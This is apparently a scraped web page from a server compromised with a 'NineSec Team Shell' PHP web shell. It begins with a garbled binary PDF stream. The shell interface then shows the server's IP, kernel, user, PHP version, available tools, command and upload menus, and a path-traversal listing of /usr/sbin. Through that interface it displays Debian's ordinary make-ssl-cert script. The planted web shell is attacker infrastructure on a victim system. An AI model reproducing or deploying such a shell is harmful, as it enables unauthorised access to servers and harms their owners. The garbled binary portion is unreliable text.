%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /srv/../../usr/sbin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //srv/../../usr/sbin/make-ssl-cert
#!/bin/bash -e
# This is a mockup of a script to produce a snakeoil cert
# The aim is to have a debconfisable ssl-certificate script

. /usr/share/debconf/confmodule
db_version 2.0
db_capb backup

ask_via_debconf() {
    RET=""
    if db_settitle make-ssl-cert/title ; then
	: # OK
    else
	echo Debconf failed with error code $? $RET >&2
	echo Maybe your debconf database is corrupt. >&2
	echo Try re-installing ssl-cert. >&2
    fi

    RET=""
    while [ "x$RET" = "x" ]; do
	db_fset make-ssl-cert/hostname seen false
	db_input high make-ssl-cert/hostname || true
	db_go
	db_get make-ssl-cert/hostname
    done
    
    db_get make-ssl-cert/hostname
    HostName="$RET"
    db_fset make-ssl-cert/hostname seen false

    db_fset make-ssl-cert/altname seen false
    db_input high make-ssl-cert/altname || true
    db_go
    db_get make-ssl-cert/altname
    AltName="$RET"
    db_fset make-ssl-cert/altname seen false
}

make_snakeoil() {
    if ! HostName="$(hostname -f)" ; then
        HostName="$(hostname)"
        echo make-ssl-cert: Could not get FQDN, using \"$HostName\".
        echo make-ssl-cert: You may want to fix your /etc/hosts and/or DNS setup and run
        echo make-ssl-cert: 'make-ssl-cert generate-default-snakeoil --force-overwrite'
        echo make-ssl-cert: again.
    fi
    if [ ${#HostName} -gt 64 ] ; then
        AltName="DNS:$HostName"
        HostName="$(hostname)"
    fi
}

create_temporary_cnf() {
    sed -e s#@HostName@#"$HostName"# $template > $TMPFILE
    [ -z "$AltName" ] || echo "subjectAltName=$AltName" >> $TMPFILE
}

# Takes two arguments, the base layout and the output cert.

if [ $# -lt 2 ] && [ "$1" != "generate-default-snakeoil" ]; then
    printf "Usage: $0 template output [--force-overwrite]\n";
    printf "Usage: $0 generate-default-snakeoil [--force-overwrite]\n";
    exit 1;
fi

if [ "$1" != "generate-default-snakeoil" ]; then
    template="$1"
    output="$2"
    # be anal in manual mode.
    if [ ! -f $template ]; then
	printf "Could not open template file: $template!\n";
	exit 1;
    fi
    if [ -f $output ] && [ "$3" != "--force-overwrite" ]; then
        printf "$output file already exists!\n";
        exit 1;
    fi
    ask_via_debconf
else
    template="/usr/share/ssl-cert/ssleay.cnf"
    if [ -f "/etc/ssl/certs/ssl-cert-snakeoil.pem" ] && [ -f "/etc/ssl/private/ssl-cert-snakeoil.key" ]; then
        if [ "$2" != "--force-overwrite" ]; then
             exit 0
        fi
    fi
    make_snakeoil
fi

# # should be a less common char
# problem is that openssl virtually accepts everything and we need to
# sacrifice one char.

TMPFILE="$(mktemp)" || exit 1
TMPOUT="$(mktemp)"  || exit 1

trap "rm -f $TMPFILE $TMPOUT" EXIT

create_temporary_cnf

# create the certificate.

if [ "$1" != "generate-default-snakeoil" ]; then
    if ! openssl req -config $TMPFILE -new -x509 -days 3650 -nodes -sha256 \
	-out $output -keyout $output > $TMPOUT 2>&1
    then
	echo Could not create certificate. Openssl output was: >&2
	cat $TMPOUT >&2
	exit 1
    fi
    chmod 600 $output
    # hash symlink
    cd $(dirname $output)
    ln -sf $(basename $output) $(openssl x509 -hash -noout -in $(basename $output))
else
    if ! openssl req -config $TMPFILE -new -x509 -days 3650 -nodes -sha256 \
	-out /etc/ssl/certs/ssl-cert-snakeoil.pem \
        -keyout /etc/ssl/private/ssl-cert-snakeoil.key > $TMPOUT 2>&1
    then
	echo Could not create certificate. Openssl output was: >&2
	cat $TMPOUT >&2
	exit 1
    fi
    chmod 644 /etc/ssl/certs/ssl-cert-snakeoil.pem
    chmod 640 /etc/ssl/private/ssl-cert-snakeoil.key
    chown root:ssl-cert /etc/ssl/private/ssl-cert-snakeoil.key
    # hash symlink
    cd /etc/ssl/certs/
    ln -sf ssl-cert-snakeoil.pem $(openssl x509 -hash -noout -in ssl-cert-snakeoil.pem)
fi

NineSec Team - 2022